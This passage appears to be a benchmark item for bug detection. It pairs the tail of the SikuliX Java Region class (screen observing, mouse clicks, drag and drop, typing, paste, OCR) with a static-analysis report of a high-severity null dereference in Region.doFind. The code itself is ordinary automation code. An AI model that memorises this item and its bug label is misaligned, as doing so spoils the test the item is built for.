+   * for details about the observe event handler: {@link ObserverCallBack}
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @param secs time in seconds the observer should run
+   * @return false if not possible, true if events have happened
+   */
+  public boolean observe(double secs) {
+    return observeDo(secs);
+  }
+
+  /**
+   *INTERNAL USE ONLY: for use with scripting API bridges
+   * @param secs time in seconds the observer should run
+   * @param bg run in background true/false
+   * @return false if not possible, true if events have happened
+   */
+  public boolean observeJ(double secs, boolean bg) {
+    if (bg) {
+      return observeInBackground(secs);
+    } else {
+      return observeDo(secs);
+    }
+  }
+
+  private boolean observeDo(double secs) {
+    if (regionObserver == null) {
+      Debug.error("Region: observe: Nothing to observe (Region might be invalid): " + this.toStringShort());
+      return false;
+    }
+    if (observing) {
+      Debug.error("Region: observe: already running for this region. Only one allowed!");
+      return false;
+    }
+    log(lvl, "observe: starting in " + this.toStringShort() + " for " + secs + " seconds");
+    int MaxTimePerScan = (int) (1000.0 / observeScanRate);
+    long begin_t = (new Date()).getTime();
+    long stop_t;
+    if (secs > Long.MAX_VALUE) {
+      stop_t = Long.MAX_VALUE;
+    } else {
+      stop_t = begin_t + (long) (secs * 1000);
+    }
+    regionObserver.initialize();
+    observing = true;
+    Observing.addRunningObserver(this);
+    while (observing && stop_t > (new Date()).getTime()) {
+      long before_find = (new Date()).getTime();
+      ScreenImage simg = getScreen().capture(x, y, w, h);
+      if (!regionObserver.update(simg)) {
+        observing = false;
+        break;
+      }
+      if (!observing) {
+        break;
+      }
+      long after_find = (new Date()).getTime();
+      try {
+        if (after_find - before_find < MaxTimePerScan) {
+          Thread.sleep((int) (MaxTimePerScan - (after_find - before_find)));
+        }
+      } catch (Exception e) {
+      }
+    }
+    boolean observeSuccess = false;
+    if (observing) {
+      observing = false;
+      log(lvl, "observe: stopped due to timeout in "
+              + this.toStringShort() + " for " + secs + " seconds");
+    } else {
+      log(lvl, "observe: ended successfully: " + this.toStringShort());
+      observeSuccess = Observing.hasEvents(this);
+    }
+    return observeSuccess;
+  }
+
+  /**
+   * start an observer in this region for the given time that runs in background
+   * for details about the observe event handler: {@link ObserverCallBack}
+   * for details about APPEAR/VANISH/CHANGE events: {@link ObserveEvent}
+   * @param secs time in seconds the observer should run
+   * @return false if not possible, true otherwise
+   */
+  public boolean observeInBackground(double secs) {
+    if (observing) {
+      Debug.error("Region: observeInBackground: already running for this region. Only one allowed!");
+      return false;
+    }
+    log(lvl, "entering observeInBackground for %f secs", secs);
+    Thread observeThread = new Thread(new ObserverThread(secs));
+    observeThread.start();
+    log(lvl, "observeInBackground now running");
+    return true;
+  }
+
+  private class ObserverThread implements Runnable {
+    private double time;
+
+    ObserverThread(double time) {
+      this.time = time;
+    }
+
+    @Override
+    public void run() {
+      observe(time);
+    }
+  }
+
+  /**
+   * stops a running observer
+   */
+  public void stopObserver() {
+    log(lvl, "observe: request to stop observer for " + this.toStringShort());
+    observing = false;
+  }
+
+   /**
+   * stops a running observer printing an info message
+   * @param message text
+   */
+  public void stopObserver(String message) {
+    Debug.info(message);
+    stopObserver();
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Mouse actions - clicking">
+  public Location checkMatch() {
+    if (lastMatch != null) {
+      return lastMatch.getTarget();
+    }
+    return getTarget();
+  }
+
+  /**
+   * move the mouse pointer to region's last successful match <br>use center if no lastMatch <br>
+   * if region is a match: move to targetOffset <br>same as mouseMove
+   *
+   * @return 1 if possible, 0 otherwise
+   */
+  public int hover() {
+    try { // needed to cut throw chain for FindFailed
+      return hover(checkMatch());
+    } catch (FindFailed ex) {
+    }
+    return 0;
+  }
+
+  /**
+   * move the mouse pointer to the given target location<br> same as mouseMove<br> Pattern or Filename - do a find
+   * before and use the match<br> Region - position at center<br> Match - position at match's targetOffset<br> Location
+   * - position at that point<br>
+   *
+   * @param <PFRML> to search: Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int hover(PFRML target) throws FindFailed {
+    log(lvl, "hover: " + target);
+    return mouseMove(target);
+  }
+
+  /**
+   * left click at the region's last successful match <br>use center if no lastMatch <br>if region is a match: click
+   * targetOffset
+   *
+   * @return 1 if possible, 0 otherwise
+   */
+  public int click() {
+    try { // needed to cut throw chain for FindFailed
+      return click(checkMatch(), 0);
+    } catch (FindFailed ex) {
+      return 0;
+    }
+  }
+
+  /**
+   * left click at the given target location<br> Pattern or Filename - do a find before and use the match<br> Region -
+   * position at center<br> Match - position at match's targetOffset<br>
+   * Location - position at that point<br>
+   *
+   * @param <PFRML> to search: Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int click(PFRML target) throws FindFailed {
+    return click(target, 0);
+  }
+
+  /**
+   * left click at the given target location<br> holding down the given modifier keys<br>
+   * Pattern or Filename - do a find before and use the match<br> Region - position at center<br>
+   * Match - position at match's targetOffset<br> Location - position at that point<br>
+   *
+   * @param <PFRML> to search: Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param modifiers the value of the resulting bitmask (see KeyModifier)
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int click(PFRML target, int modifiers) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    int ret = Mouse.click(loc, InputEvent.BUTTON1_MASK, modifiers, false, this);
+
+    //TODO      SikuliActionManager.getInstance().clickTarget(this, target, _lastScreenImage, _lastMatch);
+    return ret;
+  }
+
+  /**
+   * double click at the region's last successful match <br>use center if no lastMatch <br>if region is a match: click
+   * targetOffset
+   *
+   * @return 1 if possible, 0 otherwise
+   */
+  public int doubleClick() {
+    try { // needed to cut throw chain for FindFailed
+      return doubleClick(checkMatch(), 0);
+    } catch (FindFailed ex) {
+      return 0;
+    }
+  }
+
+  /**
+   * double click at the given target location<br> Pattern or Filename - do a find before and use the match<br> Region -
+   * position at center<br> Match - position at match's targetOffset<br>
+   * Location - position at that point<br>
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int doubleClick(PFRML target) throws FindFailed {
+    return doubleClick(target, 0);
+  }
+
+  /**
+   * double click at the given target location<br> holding down the given modifier keys<br>
+   * Pattern or Filename - do a find before and use the match<br> Region - position at center<br > Match - position at
+   * match's targetOffset<br> Location - position at that point<br>
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param modifiers the value of the resulting bitmask (see KeyModifier)
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int doubleClick(PFRML target, int modifiers) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    int ret = Mouse.click(loc, InputEvent.BUTTON1_MASK, modifiers, true, this);
+
+    //TODO      SikuliActionManager.getInstance().doubleClickTarget(this, target, _lastScreenImage, _lastMatch);
+    return ret;
+  }
+
+  /**
+   * right click at the region's last successful match <br>use center if no lastMatch <br>if region is a match: click
+   * targetOffset
+   *
+   * @return 1 if possible, 0 otherwise
+   */
+  public int rightClick() {
+    try { // needed to cut throw chain for FindFailed
+      return rightClick(checkMatch(), 0);
+    } catch (FindFailed ex) {
+      return 0;
+    }
+  }
+
+  /**
+   * right click at the given target location<br> Pattern or Filename - do a find before and use the match<br> Region -
+   * position at center<br> Match - position at match's targetOffset<br > Location - position at that point<br>
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int rightClick(PFRML target) throws FindFailed {
+    return rightClick(target, 0);
+  }
+
+  /**
+   * right click at the given target location<br> holding down the given modifier keys<br>
+   * Pattern or Filename - do a find before and use the match<br> Region - position at center<br > Match - position at
+   * match's targetOffset<br> Location - position at that point<br>
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param modifiers the value of the resulting bitmask (see KeyModifier)
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+    public <PFRML> int rightClick(PFRML target, int modifiers) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    int ret = Mouse.click(loc, InputEvent.BUTTON3_MASK, modifiers, false, this);
+
+    //TODO      SikuliActionManager.getInstance().rightClickTarget(this, target, _lastScreenImage, _lastMatch);
+    return ret;
+  }
+
+  /**
+   * time in milliseconds to delay between button down/up at next click only (max 1000)
+   *
+   * @param millisecs value
+   */
+  public void delayClick(int millisecs) {
+    Settings.ClickDelay = millisecs;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Mouse actions - drag & drop">
+  /**
+   * Drag from region's last match and drop at given target <br>applying Settings.DelayAfterDrag and DelayBeforeDrop
+   * <br> using left mouse button
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if the Find operation failed
+   */
+  public <PFRML> int dragDrop(PFRML target) throws FindFailed {
+    return dragDrop(lastMatch, target);
+  }
+
+  /**
+   * Drag from a position and drop to another using left mouse button<br>applying Settings.DelayAfterDrag and
+   * DelayBeforeDrop
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param t1 source position
+   * @param t2 destination position
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if the Find operation failed
+   */
+  public <PFRML> int dragDrop(PFRML t1, PFRML t2) throws FindFailed {
+    Location loc1 = getLocationFromTarget(t1);
+    Location loc2 = getLocationFromTarget(t2);
+    if (loc1 != null && loc2 != null) {
+      IRobot r = loc1.getRobotForPoint("drag");
+      if (r == null) {
+        return 0;
+      }
+      Mouse.use(this);
+      r.smoothMove(loc1);
+      r.mouseDown(InputEvent.BUTTON1_MASK);
+      r.delay((int) (Settings.DelayAfterDrag * 1000));
+      r = loc2.getRobotForPoint("drop");
+      if (r == null) {
+        Mouse.let(this);
+        return 0;
+      }
+      r.smoothMove(loc2);
+      r.delay((int) (Settings.DelayBeforeDrop * 1000));
+      r.mouseUp(InputEvent.BUTTON1_MASK);
+      Mouse.let(this);
+      return 1;
+    }
+    return 0;
+  }
+
+  /**
+   * Prepare a drag action: move mouse to given target <br>press and hold left mouse button <br >wait
+   * Settings.DelayAfterDrag
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if not found
+   */
+  public <PFRML> int drag(PFRML target) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    if (loc != null) {
+      IRobot r = loc.getRobotForPoint("drag");
+      if (r == null) {
+        return 0;
+      }
+      Mouse.use(this);
+      r.smoothMove(loc);
+      r.mouseDown(InputEvent.BUTTON1_MASK);
+      r.delay((int) (Settings.DelayAfterDrag * 1000));
+      r.waitForIdle();
+      return 1;
+    }
+    return 0;
+  }
+
+  /**
+   * finalize a drag action with a drop: move mouse to given target <br>wait Settings.DelayBeforeDrop <br>release the
+   * left mouse button
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed  if not found
+   */
+  public <PFRML> int dropAt(PFRML target) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    if (loc != null) {
+      IRobot r = loc.getRobotForPoint("drop");
+      if (r == null) {
+        return 0;
+      }
+      r.smoothMove(loc);
+      r.delay((int) (Settings.DelayBeforeDrop * 1000));
+      r.mouseUp(InputEvent.BUTTON1_MASK);
+      r.waitForIdle();
+      Mouse.let(this);
+      return 1;
+    }
+    return 0;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Mouse actions - low level + Wheel">
+  /**
+   * press and hold the specified buttons - use + to combine Button.LEFT left mouse button Button.MIDDLE middle mouse
+   * button Button.RIGHT right mouse button
+   *
+   * @param buttons spec
+   */
+  public void mouseDown(int buttons) {
+    Mouse.down(buttons, this);
+  }
+
+  /**
+   * release all currently held buttons
+   */
+  public void mouseUp() {
+    Mouse.up(0, this);
+  }
+
+  /**
+   * release the specified mouse buttons (see mouseDown) if buttons==0, all currently held buttons are released
+   *
+   * @param buttons spec
+   */
+  public void mouseUp(int buttons) {
+    Mouse.up(buttons, this);
+  }
+
+  /**
+   * move the mouse pointer to the region's last successful match<br>same as hover<br>
+   *
+   * @return 1 if possible, 0 otherwise
+   */
+  public int mouseMove() {
+    if (lastMatch != null) {
+      try {
+        return mouseMove(lastMatch);
+      } catch (FindFailed ex) {
+        return 0;
+      }
+    }
+    return 0;
+  }
+
+  /**
+   * move the mouse pointer to the given target location<br> same as hover<br> Pattern or Filename - do a find before
+   * and use the match<br> Region - position at center<br> Match - position at match's targetOffset<br>
+   * Location - position at that point<br>
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed for Pattern or Filename
+   */
+  public <PFRML> int mouseMove(PFRML target) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    return Mouse.move(loc, this);
+  }
+
+	/**
+	 * move the mouse from the current position to the offset position given by the parameters
+	 * @param xoff horizontal offset (&lt; 0 left, &gt; 0 right)
+	 * @param yoff vertical offset (&lt; 0 up, &gt; 0 down)
+   * @return 1 if possible, 0 otherwise
+	 */
+	public int mouseMove(int xoff, int yoff) {
+		try {
+			return mouseMove(Mouse.at().offset(xoff, yoff));
+		} catch (Exception ex) {
+			return 0;
+		}
+	}
+
+  /**
+   * Move the wheel at the current mouse position<br> the given steps in the given direction: <br >Button.WHEEL_DOWN,
+   * Button.WHEEL_UP
+   *
+   * @param direction to move the wheel
+   * @param steps the number of steps
+   * @return 1 in any case
+   */
+  public int wheel(int direction, int steps) {
+    Mouse.wheel(direction, steps, this);
+    return 1;
+  }
+
+  /**
+   * move the mouse pointer to the given target location<br> and move the wheel the given steps in the given direction:
+   * <br>Button.WHEEL_DOWN, Button.WHEEL_UP
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location target
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param direction to move the wheel
+   * @param steps the number of steps
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if the Find operation failed
+   */
+  public <PFRML> int wheel(PFRML target, int direction, int steps) throws FindFailed {
+    Location loc = getLocationFromTarget(target);
+    if (loc != null) {
+      Mouse.use(this);
+      Mouse.keep(this);
+      Mouse.move(loc, this);
+      Mouse.wheel(direction, steps, this);
+      Mouse.let(this);
+      return 1;
+    }
+    return 0;
+  }
+
+	/**
+	 *
+	 * @return current location of mouse pointer
+	 * @deprecated use {@link Mouse#at()} instead
+	 */
+	@Deprecated
+	public static Location atMouse() {
+    return Mouse.at();
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="Keyboard actions + paste">
+  /**
+   * press and hold the given key use a constant from java.awt.event.KeyEvent which might be special in the current
+   * machine/system environment
+   *
+   * @param keycode Java KeyCode
+   */
+  public void keyDown(int keycode) {
+    getRobotForRegion().keyDown(keycode);
+  }
+
+  /**
+   * press and hold the given keys including modifier keys <br>use the key constants defined in class Key, <br>which
+   * only provides a subset of a US-QWERTY PC keyboard layout <br>might be mixed with simple characters
+   * <br>use + to concatenate Key constants
+   *
+   * @param keys valid keys
+   */
+  public void keyDown(String keys) {
+    getRobotForRegion().keyDown(keys);
+  }
+
+  /**
+   * release all currently pressed keys
+   */
+  public void keyUp() {
+    getRobotForRegion().keyUp();
+  }
+
+  /**
+   * release the given keys (see keyDown(keycode) )
+   *
+   * @param keycode Java KeyCode
+   */
+  public void keyUp(int keycode) {
+    getRobotForRegion().keyUp(keycode);
+  }
+
+  /**
+   * release the given keys (see keyDown(keys) )
+   *
+   * @param keys valid keys
+   */
+  public void keyUp(String keys) {
+    getRobotForRegion().keyUp(keys);
+  }
+
+  /**
+   * Compact alternative for type() with more options <br>
+   * - special keys and options are coded as #XN. or #X+ or #X- <br>
+   * where X is a refrence for a special key and N is an optional repeat factor <br>
+   * A modifier key as #X. modifies the next following key<br>
+   * the trailing . ends the special key, the + (press and hold) or - (release) does the same, <br>
+   * but signals press-and-hold or release additionally.<br>
+   * except #W / #w all special keys are not case-sensitive<br>
+   * a #wn. inserts a wait of n millisecs or n secs if n less than 60 <br>
+   * a #Wn. sets the type delay for the following keys (must be &gt; 60 and denotes millisecs)
+   * - otherwise taken as normal wait<br>
+   * Example: wait 2 secs then type CMD/CTRL - N then wait 1 sec then type DOWN 3 times<br>
+   * Windows/Linux: write("#w2.#C.n#W1.#d3.")<br>
+   * Mac: write("#w2.#M.n#W1.#D3.")<br>
+   * for more details about the special key codes and examples consult the docs <br>
+   * @param text a coded text interpreted as a series of key actions (press/hold/release)
+   * @return 0 for success 1 otherwise
+   */
+  public int write(String text) {
+    Debug.info("Write: " + text);
+    char c;
+    String token, tokenSave;
+    String modifier = "";
+    int k;
+    IRobot robot = getRobotForRegion();
+    int pause = 20 + (Settings.TypeDelay > 1 ? 1000 : (int) (Settings.TypeDelay * 1000));
+    Settings.TypeDelay = 0.0;
+    robot.typeStarts();
+    for (int i = 0; i < text.length(); i++) {
+      log(lvl + 1, "write: (%d) %s", i, text.substring(i));
+      c = text.charAt(i);
+      token = null;
+      boolean isModifier = false;
+      if (c == '#') {
+        if (text.charAt(i + 1) == '#') {
+          log(3, "write at: %d: %s", i, c);
+          i += 1;
+          continue;
+        }
+        if (text.charAt(i + 2) == '+' || text.charAt(i + 2) == '-') {
+          token = text.substring(i, i + 3);
+          isModifier = true;
+        } else if (-1 < (k = text.indexOf('.', i))) {
+          if (k > -1) {
+            token = text.substring(i, k + 1);
+            if (token.length() > Key.keyMaxLength || token.substring(1).contains("#")) {
+              token = null;
+            }
+          }
+        }
+      }
+      Integer key = -1;
+      if (token == null) {
+        log(lvl + 1, "write: %d: %s", i, c);
+      } else {
+        log(lvl + 1, "write: token at %d: %s", i, token);
+        int repeat = 0;
+        if (token.toUpperCase().startsWith("#W")) {
+          if (token.length() > 3) {
+            i += token.length() - 1;
+            int t = 0;
+            try {
+              t = Integer.parseInt(token.substring(2, token.length() - 1));
+            } catch (NumberFormatException ex) {
+            }
+            if ((token.startsWith("#w") && t > 60)) {
+              pause = 20 + (t > 1000 ? 1000 : t);
+              log(lvl + 1, "write: type delay: " + t);
+            } else {
+              log(lvl + 1, "write: wait: " + t);
+              robot.delay((t < 60 ? t * 1000 : t));
+            }
+            continue;
+          }
+        }
+        tokenSave = token;
+        token = token.substring(0, 2).toUpperCase() + ".";
+        if (Key.isRepeatable(token)) {
+          try {
+            repeat = Integer.parseInt(tokenSave.substring(2, tokenSave.length() - 1));
+          } catch (NumberFormatException ex) {
+            token = tokenSave;
+          }
+        } else if (tokenSave.length() == 3 && Key.isModifier(tokenSave.toUpperCase())) {
+          i += tokenSave.length() - 1;
+          modifier += tokenSave.substring(1, 2).toUpperCase();
+          continue;
+        } else {
+          token = tokenSave;
+        }
+        if (-1 < (key = Key.toJavaKeyCodeFromText(token))) {
+          if (repeat > 0) {
+            log(lvl + 1, "write: %s Repeating: %d", token, repeat);
+          } else {
+            log(lvl + 1, "write: %s", tokenSave);
+            repeat = 1;
+          }
+          i += tokenSave.length() - 1;
+          if (isModifier) {
+            if (tokenSave.endsWith("+")) {
+              robot.keyDown(key);
+            } else {
+              robot.keyUp(key);
+            }
+            continue;
+          }
+          if (repeat > 1) {
+            for (int n = 0; n < repeat; n++) {
+              robot.typeKey(key.intValue());
+            }
+            continue;
+          }
+        }
+      }
+      if (!modifier.isEmpty()) {
+        log(lvl + 1, "write: modifier + " + modifier);
+        for (int n = 0; n < modifier.length(); n++) {
+          robot.keyDown(Key.toJavaKeyCodeFromText(String.format("#%s.", modifier.substring(n, n + 1))));
+        }
+      }
+      if (key > -1) {
+        robot.typeKey(key.intValue());
+      } else {
+        robot.typeChar(c, IRobot.KeyMode.PRESS_RELEASE);
+      }
+      if (!modifier.isEmpty()) {
+        log(lvl + 1, "write: modifier - " + modifier);
+        for (int n = 0; n < modifier.length(); n++) {
+          robot.keyUp(Key.toJavaKeyCodeFromText(String.format("#%s.", modifier.substring(n, n + 1))));
+        }
+      }
+      robot.delay(pause);
+      modifier = "";
+    }
+
+    robot.typeEnds();
+    robot.waitForIdle();
+    return 0;
+  }
+
+  /**
+   * enters the given text one character/key after another using keyDown/keyUp
+   * <br>about the usable Key constants see keyDown(keys) <br>Class Key only provides a subset of a US-QWERTY PC
+   * keyboard layout<br>the text is entered at the current position of the focus/carret
+   *
+   * @param text containing characters and/or Key constants
+   * @return 1 if possible, 0 otherwise
+   */
+  public int type(String text) {
+    try {
+      return keyin(null, text, 0);
+    } catch (FindFailed ex) {
+      return 0;
+    }
+  }
+
+  /**
+   * enters the given text one character/key after another using keyDown/keyUp<br>while holding down the given modifier
+   * keys <br>about the usable Key constants see keyDown(keys) <br>Class Key only provides a subset of a US-QWERTY PC
+   * keyboard layout<br>the text is entered at the current position of the focus/carret
+   *
+   * @param text containing characters and/or Key constants
+   * @param modifiers constants according to class KeyModifiers
+   * @return 1 if possible, 0 otherwise
+   */
+  public int type(String text, int modifiers) {
+    try {
+      return keyin(null, text, modifiers);
+    } catch (FindFailed findFailed) {
+      return 0;
+    }
+  }
+
+  /**
+   * enters the given text one character/key after another using
+   *
+   * keyDown/keyUp<br>while holding down the given modifier keys <br>about the usable Key constants see keyDown(keys)
+   * <br>Class Key only provides a subset of a US-QWERTY PC keyboard layout<br>the text is entered at the current
+   * position of the focus/carret
+   *
+   *
+   * @param text containing characters and/or Key constants
+   * @param modifiers constants according to class Key - combine using +
+   * @return 1 if possible, 0 otherwise
+   */
+  public int type(String text, String modifiers) {
+    String target = null;
+    int modifiersNew = Key.convertModifiers(modifiers);
+    if (modifiersNew == 0) {
+      target = text;
+      text = modifiers;
+    }
+    try {
+      return keyin(target, text, modifiersNew);
+    } catch (FindFailed findFailed) {
+      return 0;
+    }
+  }
+
+  /**
+   * first does a click(target) at the given target position to gain focus/carret <br>enters the given text one
+   * character/key after another using keyDown/keyUp <br>about the usable Key constants see keyDown(keys)
+   * <br>Class Key only provides a subset of a US-QWERTY PC keyboard layout
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param text containing characters and/or Key constants
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if not found
+   */
+  public <PFRML> int type(PFRML target, String text) throws FindFailed {
+    return keyin(target, text, 0);
+  }
+
+  /**
+   * first does a click(target) at the given target position to gain focus/carret <br>enters the given text one
+   * character/key after another using keyDown/keyUp <br>while holding down the given modifier keys<br>about the usable
+   * Key constants see keyDown(keys) <br>Class Key only provides a subset of a US-QWERTY PC keyboard layout
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param text containing characters and/or Key constants
+   * @param modifiers constants according to class KeyModifiers
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if not found
+   */
+  public <PFRML> int type(PFRML target, String text, int modifiers) throws FindFailed {
+    return keyin(target, text, modifiers);
+  }
+
+  /**
+   * first does a click(target) at the given target position to gain focus/carret <br>enters the given text one
+   * character/key after another using keyDown/keyUp <br>while holding down the given modifier keys<br>about the usable
+   * Key constants see keyDown(keys) <br>Class Key only provides a subset of a US-QWERTY PC keyboard layout
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param text containing characters and/or Key constants
+   * @param modifiers constants according to class Key - combine using +
+   * @return 1 if possible, 0 otherwise
+   * @throws FindFailed if not found
+   */
+  public <PFRML> int type(PFRML target, String text, String modifiers) throws FindFailed {
+    int modifiersNew = Key.convertModifiers(modifiers);
+    return keyin(target, text, modifiersNew);
+  }
+
+  private <PFRML> int keyin(PFRML target, String text, int modifiers)
+          throws FindFailed {
+    if (target != null && 0 == click(target, 0)) {
+      return 0;
+    }
+    Debug profiler = Debug.startTimer("Region.type");
+    if (text != null && !"".equals(text)) {
+      String showText = "";
+      for (int i = 0; i < text.length(); i++) {
+        showText += Key.toJavaKeyCodeText(text.charAt(i));
+      }
+      String modText = "";
+      String modWindows = null;
+      if ((modifiers & KeyModifier.WIN) != 0) {
+        modifiers -= KeyModifier.WIN;
+        modifiers |= KeyModifier.META;
+        log(lvl, "Key.WIN as modifier");
+        modWindows = "Windows";
+      }
+      if (modifiers != 0) {
+        modText = String.format("( %s ) ", KeyEvent.getKeyModifiersText(modifiers));
+        if (modWindows != null) {
+          modText = modText.replace("Meta", modWindows);
+        }
+      }
+      Debug.action("%s TYPE \"%s\"", modText, showText);
+      log(lvl, "%s TYPE \"%s\"", modText, showText);
+      profiler.lap("before getting Robot");
+      IRobot r = getRobotForRegion();
+      int pause = 20 + (Settings.TypeDelay > 1 ? 1000 : (int) (Settings.TypeDelay * 1000));
+      Settings.TypeDelay = 0.0;
+      profiler.lap("before typing");
+      r.typeStarts();
+      for (int i = 0; i < text.length(); i++) {
+        r.pressModifiers(modifiers);
+        r.typeChar(text.charAt(i), IRobot.KeyMode.PRESS_RELEASE);
+        r.releaseModifiers(modifiers);
+        r.delay(pause);
+      }
+      r.typeEnds();
+      profiler.lap("after typing, before waitForIdle");
+      r.waitForIdle();
+      profiler.end();
+      return 1;
+    }
+
+    return 0;
+  }
+
+  /**
+   * time in milliseconds to delay between each character at next type only (max 1000)
+   *
+   * @param millisecs value
+   */
+  public void delayType(int millisecs) {
+    Settings.TypeDelay = millisecs;
+  }
+
+  /**
+   * pastes the text at the current position of the focus/carret <br>using the clipboard and strg/ctrl/cmd-v (paste
+   * keyboard shortcut)
+   *
+   * @param text a string, which might contain unicode characters
+   * @return 0 if possible, 1 otherwise
+   */
+  public int paste(String text) {
+    try {
+      return paste(null, text);
+    } catch (FindFailed ex) {
+      return 1;
+    }
+  }
+
+  /**
+   * first does a click(target) at the given target position to gain focus/carret <br> and then pastes the text <br>
+   * using the clipboard and strg/ctrl/cmd-v (paste keyboard shortcut)
+   *
+   * @param <PFRML> Pattern, Filename, Text, Region, Match or Location target
+   * @param target Pattern, Filename, Text, Region, Match or Location
+   * @param text a string, which might contain unicode characters
+   * @return 0 if possible, 1 otherwise
+   * @throws FindFailed if not found
+   */
+  public <PFRML> int paste(PFRML target, String text) throws FindFailed {
+    if (target != null) {
+      click(target, 0);
+    }
+    if (text != null) {
+      App.setClipboard(text);
+      int mod = Key.getHotkeyModifier();
+      IRobot r = getRobotForRegion();
+      r.keyDown(mod);
+      r.keyDown(KeyEvent.VK_V);
+      r.keyUp(KeyEvent.VK_V);
+      r.keyUp(mod);
+      return 1;
+    }
+    return 0;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="OCR - read text from Screen">
+  /**
+   * STILL EXPERIMENTAL: tries to read the text in this region<br> might contain misread characters, NL characters and
+   * other stuff, when interpreting contained grafics as text<br>
+   * Best results: one line of text with no grafics in the line
+   *
+   * @return the text read (utf8 encoded)
+   */
+  public String text() {
+    if (Settings.OcrTextRead) {
+      ScreenImage simg = getScreen().capture(x, y, w, h);
+      TextRecognizer tr = TextRecognizer.getInstance();
+      if (tr == null) {
+        Debug.error("text: text recognition is now switched off");
+        return "--- no text ---";
+      }
+      String textRead = tr.recognize(simg);
+      log(lvl, "text: #(" + textRead + ")#");
+      return textRead;
+    }
+    Debug.error("text: text recognition is currently switched off");
+    return "--- no text ---";
+  }
+
+  /**
+   * VERY EXPERIMENTAL: returns a list of matches, that represent single words, that have been found in this region<br>
+   * the match's x,y,w,h the region of the word<br> Match.getText() returns the word (utf8) at this match<br>
+   * Match.getScore() returns a value between 0 ... 1, that represents some OCR-confidence value<br > (the higher, the
+   * better the OCR engine thinks the result is)
+   *
+   * @return a list of matches
+   */
+  public List<Match> listText() {
+    if (Settings.OcrTextRead) {
+      ScreenImage simg = getScreen().capture(x, y, w, h);
+      TextRecognizer tr = TextRecognizer.getInstance();
+      if (tr == null) {
+        Debug.error("text: text recognition is now switched off");
+        return null;
+      }
+      log(lvl, "listText: scanning %s", this);
+      return tr.listText(simg, this);
+    }
+    Debug.error("text: text recognition is currently switched off");
+    return null;
+  }
+  //</editor-fold>
+  
+  public String saveCapture() {
+    return getScreen().capture(this).save();
+  }
+
+  public String saveCapture(String path) {
+    return getScreen().capture(this).save(path);
+  }
+
+  public String saveCapture(String path, String name) {
+    return getScreen().capture(this).save(path, name);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `f` last assigned on line 2469 could be null and is dereferenced at line 2541.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Match Region.doFind(Object,Region$RepeatableFind)
+
+### Procedure Id:
+org.sikuli.script.Region.doFind(java.lang.Object,org.sikuli.script.Region$RepeatableFind):org.sikuli.e294acb399c178969714c7dbf801997c
+
+### File:
